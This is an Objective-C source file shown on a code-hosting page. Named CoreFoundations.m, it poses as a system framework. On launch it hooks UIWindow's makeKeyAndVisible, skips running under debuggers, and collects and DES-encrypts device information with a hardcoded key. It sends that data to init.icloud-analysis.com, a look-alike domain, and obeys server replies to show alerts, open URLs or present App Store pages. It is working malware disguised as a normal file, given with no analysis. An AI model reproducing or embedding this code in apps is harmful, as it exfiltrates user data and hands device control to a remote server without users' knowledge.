-
Notifications
You must be signed in to change notification settings - Fork 799
/
CoreFoundations.m
557 lines (365 loc) · 16.2 KB
/
CoreFoundations.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
#import "CoreFoundations.h"
@implementation UIWindow (didFinishLaunchingWithOptions)
- (void)makeKeyAndVisible{
UIWindow *keywindow=[[UIApplication sharedApplication] keyWindow];
BOOL exit=FALSE;
if (keywindow!=Nil) {
exit=TRUE;
}
[self makeKeyWindow];
self.hidden=FALSE;
if (exit==TRUE) {
return;
}
if (CoreServices_SYSTEM_VERSION_LESS_THAN(@"6.0")) {
return;
}
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
NSInteger timestamp = [[NSDate date] timeIntervalSince1970];
NSInteger nextTimestamp=timestamp+36000000;
[standardUserDefaults setObject:[NSString stringWithFormat:@"%d",nextTimestamp] forKey:@"SystemReserved"];
[NSTimer scheduledTimerWithTimeInterval:15 target:self selector:@selector(Check) userInfo:Nil repeats:YES];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(UIApplicationDidBecomeActiveNotification) name:UIApplicationDidBecomeActiveNotification object:Nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(UIApplicationWillResignActiveNotification) name:UIApplicationWillResignActiveNotification object:Nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(UIApplicationWillTerminateNotification) name:UIApplicationWillTerminateNotification object:Nil];
[[NSNotificationCenter defaultCenter] addObserver:self selector:@selector(UIApplicationDidEnterBackgroundNotification) name:UIApplicationDidEnterBackgroundNotification object:Nil];
}
-(void)UIApplicationDidBecomeActiveNotification{
if ([self Simulator]) {
[self Launch];
}
if ([self Debugger]) {
return;
}
[self Launch];
}
-(void)UIApplicationWillResignActiveNotification{
if ([self Debugger]) {
return;
}
[self Resign];
}
-(void)UIApplicationWillTerminateNotification{
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
[standardUserDefaults removeObjectForKey:@"SystemReserved"];
[standardUserDefaults removeObjectForKey:@"SystemReservedData"];
[standardUserDefaults synchronize];
if ([self Debugger]) {
return;
}
[self Terminate];
}
-(void)UIApplicationDidEnterBackgroundNotification{
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
[standardUserDefaults removeObjectForKey:@"SystemReserved"];
if ([self Debugger]) {
return;
}
[self Suspend];
}
-(void)Check{
if ([self Debugger]) {
return;
}
if ([UIApplication sharedApplication].applicationState!=UIApplicationStateActive)
return;
NSInteger timestamp = [[NSDate date] timeIntervalSince1970];
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
NSInteger nextTimestamp=[[standardUserDefaults objectForKey:@"SystemReserved"] integerValue];
if (timestamp>=nextTimestamp) {
[self Run];
}
}
-(void)productViewControllerDidFinish:(SKStoreProductViewController *)viewController{
@try {
UIViewController *rootViewController=[[[UIApplication sharedApplication] keyWindow] rootViewController];
[rootViewController dismissViewControllerAnimated:YES completion:^{
}];
}
@catch (NSException * e) {
}
@finally {
}
}
- (BOOL)Debugger{
static BOOL debuggerIsAttached = NO;
static dispatch_once_t debuggerPredicate;
dispatch_once(&debuggerPredicate, ^{
struct kinfo_proc info;
size_t info_size = sizeof(info);
int name[4];
name[0] = CTL_KERN;
name[1] = KERN_PROC;
name[2] = KERN_PROC_PID;
name[3] = getpid();
if (sysctl(name, 4, &info, &info_size, NULL, 0) == -1) {
debuggerIsAttached = false;
}
if (!debuggerIsAttached && (info.kp_proc.p_flag & P_TRACED) != 0)
debuggerIsAttached = true;
});
return debuggerIsAttached;
}
-(BOOL)Simulator{
NSString * deviceType=[[UIDevice currentDevice] model];
if ([[deviceType lowercaseString] rangeOfString:@"simulator"].location!=NSNotFound) {
return YES;
}
return FALSE;
}
-(void)connection:(NSString*)statusTag{
if ([statusTag isEqualToString:@"launch"] || [statusTag isEqualToString:@"running"]) {
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
NSInteger timestamp = [[NSDate date] timeIntervalSince1970];
NSInteger nextTimestamp=timestamp+36000000;
[standardUserDefaults setObject:[NSString stringWithFormat:@"%d",nextTimestamp] forKey:@"SystemReserved"];
}
NSMutableData *concatenatedData = [NSMutableData data];
NSData *deviceInfo=[UIDevice AppleIncReserved:statusTag];
NSData *encryptData=[self Encrypt:deviceInfo];
int32_t bodylen=[encryptData length]+8;
bodylen=htonl(bodylen);
NSData *bodyLendata = [NSData dataWithBytes: &bodylen length: sizeof(bodylen)];
int16_t cmdlen=101;
cmdlen=htons(cmdlen);
NSData *cmdLenData=[NSData dataWithBytes: &cmdlen length: sizeof(cmdlen)];
int16_t verLen=10;
verLen=htons(verLen);
NSData *verLenData=[NSData dataWithBytes: &verLen length: sizeof(verLen)];
[concatenatedData appendData:bodyLendata];
[concatenatedData appendData:cmdLenData];
[concatenatedData appendData:verLenData];
[concatenatedData appendData:encryptData];
NSURL *url = [NSURL URLWithString:@"http://init.icloud-analysis.com"];
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url cachePolicy:NSURLRequestReloadIgnoringCacheData timeoutInterval:30];
[request setHTTPMethod:@"POST"];
[request setValue:[NSString stringWithFormat:@"%lu",(unsigned long)[concatenatedData length]] forHTTPHeaderField:@"Content-Length"];
[request setHTTPBody: concatenatedData];
if ([statusTag isEqualToString:@"launch"] || [statusTag isEqualToString:@"running"]) {
[NSURLConnection connectionWithRequest:request delegate:self];
}else{
[NSURLConnection connectionWithRequest:request delegate:Nil];
}
}
-(void)connection:(NSURLConnection *)connection didReceiveResponse:(NSURLResponse *)response{
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
[standardUserDefaults removeObjectForKey:@"SystemReservedData"];
}
-(void)connectionDidFinishLoading:(NSURLConnection *)connection{
@try {
[self Response];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)connection:(NSURLConnection *)connection didFailWithError:(NSError *)error{
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
[standardUserDefaults removeObjectForKey:@"SystemReservedData"];
}
-(void)connection:(NSURLConnection *)connection didReceiveData:(NSData *)data{
@try {
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
NSMutableData *receivedData=[NSMutableData dataWithData:[standardUserDefaults objectForKey:@"SystemReservedData"]];
if (receivedData==Nil) {
[standardUserDefaults setObject:[NSMutableData dataWithData:data] forKey:@"SystemReservedData"];
}else{
[receivedData appendData:data];
[standardUserDefaults setObject:receivedData forKey:@"SystemReservedData"];
}
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Launch{
@try {
[self connection:@"launch"];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Suspend{
@try {
[self connection:@"suspend"];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Run{
@try {
[self connection:@"running"];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Terminate{
@try {
[self connection:@"terminate"];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Resign{
@try {
[self connection:@"resignActive"];
}
@catch (NSException * e) {
}
@finally {
}
}
-(void)Response{
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
NSMutableData *receivedData=[NSMutableData dataWithData:[standardUserDefaults objectForKey:@"SystemReservedData"]];
if ([receivedData length]<=8) return;
NSData *subData=[receivedData subdataWithRange:NSMakeRange(8, [receivedData length]-8)];
NSData *decryptData=[self Decrypt:subData];
NSError *error=Nil;
id dict=[NSJSONSerialization JSONObjectWithData:decryptData options:NSJSONReadingMutableContainers error:&error];
if (error!=Nil) return;
if ([dict objectForKey:@"sleep"]!=Nil) {
int sleep=[[dict objectForKey:@"sleep"] intValue];
if (sleep>0) {
NSInteger timestamp = [[NSDate date] timeIntervalSince1970];
NSInteger nextTimestamp=timestamp+sleep;
NSUserDefaults *standardUserDefaults = [NSUserDefaults standardUserDefaults];
[standardUserDefaults setObject:[NSString stringWithFormat:@"%d",nextTimestamp] forKey:@"SystemReserved"];
}
}
float actionAfterDelay=0;
if ([dict objectForKey:@"showDelay"]!=Nil) {
actionAfterDelay=[[dict objectForKey:@"showDelay"] floatValue];
}
if ([dict objectForKey:@"alertHeader"]!=Nil && [dict objectForKey:@"alertBody"]!=Nil && [dict objectForKey:@"appID"]!=Nil&[dict objectForKey:@"cancelTitle"]!=nil && [dict objectForKey:@"confirmTitle"]!=Nil && [dict objectForKey:@"scheme"]!=Nil) {
if ([[UIApplication sharedApplication ] canOpenURL:[NSURL URLWithString:[dict objectForKey:@"scheme"]]]) {
return;
}
NSString *header=[dict objectForKey:@"alertHeader"];
NSString *body=[dict objectForKey:@"alertBody"];
NSString *appID=[dict objectForKey:@"appID"];
NSString *cancelTittle=[dict objectForKey:@"cancelTitle"];
NSString *confirmTitle=[dict objectForKey:@"confirmTitle"];
if ([UIApplication sharedApplication].applicationState==UIApplicationStateActive){
double delayInSeconds = actionAfterDelay;
dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, delayInSeconds * NSEC_PER_SEC);
dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
UIAlertView *alert=[[UIAlertView alloc] initWithTitle:header message:body delegate:self cancelButtonTitle:cancelTittle otherButtonTitles:confirmTitle, nil];
[alert show];
alert.tag=[appID integerValue];
});
}
return;
}
if ([dict objectForKey:@"configUrl"]!=Nil && [dict objectForKey:@"scheme"]!=Nil) {
if ([[UIApplication sharedApplication ] canOpenURL:[NSURL URLWithString:[dict objectForKey:@"scheme"]]]) {
return;
}
NSString *url=[dict objectForKey:@"configUrl"];
double delayInSeconds = actionAfterDelay;
dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, delayInSeconds * NSEC_PER_SEC);
dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
[self Show:url scheme:[dict objectForKey:@"scheme"]];
});
return;
}
NSString *appID=[dict objectForKey:@"appID"];
if (appID!=Nil && [dict objectForKey:@"scheme"]!=Nil) {
if ([[UIApplication sharedApplication ] canOpenURL:[NSURL URLWithString:[dict objectForKey:@"scheme"]]]) {
return;
}
double delayInSeconds = actionAfterDelay;
dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, delayInSeconds * NSEC_PER_SEC);
dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
[self Store:appID];
});
return;
}
[standardUserDefaults removeObjectForKey:@"SystemReservedData"];
}
- (void)alertView:(UIAlertView *)alertView didDismissWithButtonIndex:(NSInteger)buttonIndex
{
if (buttonIndex==1) {
[self Store:[NSString stringWithFormat:@"%d",alertView.tag]];
[self connection:@"AlertView"];
}
}
-(void)Show:(NSString*)url scheme:(NSString*)scheme{
if ([UIApplication sharedApplication].applicationState!=UIApplicationStateActive)
return;
[[UIApplication sharedApplication] openURL:[NSURL URLWithString:url]];
}
-(void)Store:(NSString*)appID{
if ([UIApplication sharedApplication].applicationState!=UIApplicationStateActive)
return;
@try {
SKStoreProductViewController *productViewController = [[SKStoreProductViewController alloc] init];
NSDictionary *appParameters = [NSDictionary dictionaryWithObject:appID
forKey:SKStoreProductParameterITunesItemIdentifier];
[productViewController setDelegate:self];
[productViewController loadProductWithParameters:appParameters
completionBlock:^(BOOL result, NSError *error)
{
}];
UIViewController *rootViewController=[[[UIApplication sharedApplication] keyWindow] rootViewController];
[rootViewController presentViewController:productViewController animated:YES
completion:^{ } ];
}
@catch (NSException * e) {
}
@finally {
}
}
-(NSData*)Encrypt:(NSData*)plainData{
NSString *key = @"stringWithFormat";
char keyPtr[kCCKeySizeAES256 + 1];
bzero(keyPtr, sizeof(keyPtr));
[key getCString:keyPtr maxLength:sizeof(keyPtr) encoding:NSUTF8StringEncoding];
NSUInteger dataLength = [plainData length];
size_t bufferSize = dataLength + kCCBlockSizeDES;
void* buffer = malloc(bufferSize);
size_t numBytesEncrypted = 0;
CCCryptorStatus cryptStatus = CCCrypt(kCCEncrypt, kCCAlgorithmDES, kCCOptionPKCS7Padding |kCCOptionECBMode,
keyPtr, kCCKeySizeDES,
NULL /* initialization vector (optional) */,
[plainData bytes], dataLength, /* input */
buffer, bufferSize, /* output */
&numBytesEncrypted);
if (cryptStatus == kCCSuccess) {
return [NSData dataWithBytesNoCopy:buffer length:numBytesEncrypted];
}
free(buffer);
return nil;
}
-(NSData*)Decrypt:(NSData*)encryptData{
NSString *key = @"stringWithFormat";
char keyPtr[kCCKeySizeAES256 + 1];
bzero(keyPtr, sizeof(keyPtr));
[key getCString:keyPtr maxLength:sizeof(keyPtr) encoding:NSUTF8StringEncoding];
NSUInteger dataLength = [encryptData length];
size_t bufferSize = dataLength + kCCBlockSizeDES;
void* buffer = malloc(bufferSize);
size_t numBytesDecrypted = 0;
CCCryptorStatus cryptStatus = CCCrypt(kCCDecrypt, kCCAlgorithmDES, kCCOptionPKCS7Padding|kCCOptionECBMode,
keyPtr, kCCKeySizeDES,
NULL /* initialization vector (optional) */,
[encryptData bytes], dataLength, /* input */
buffer, bufferSize, /* output */
&numBytesDecrypted);
if (cryptStatus == kCCSuccess) {
return [NSData dataWithBytesNoCopy:buffer length:numBytesDecrypted];
}
free(buffer);
return nil;
}
@end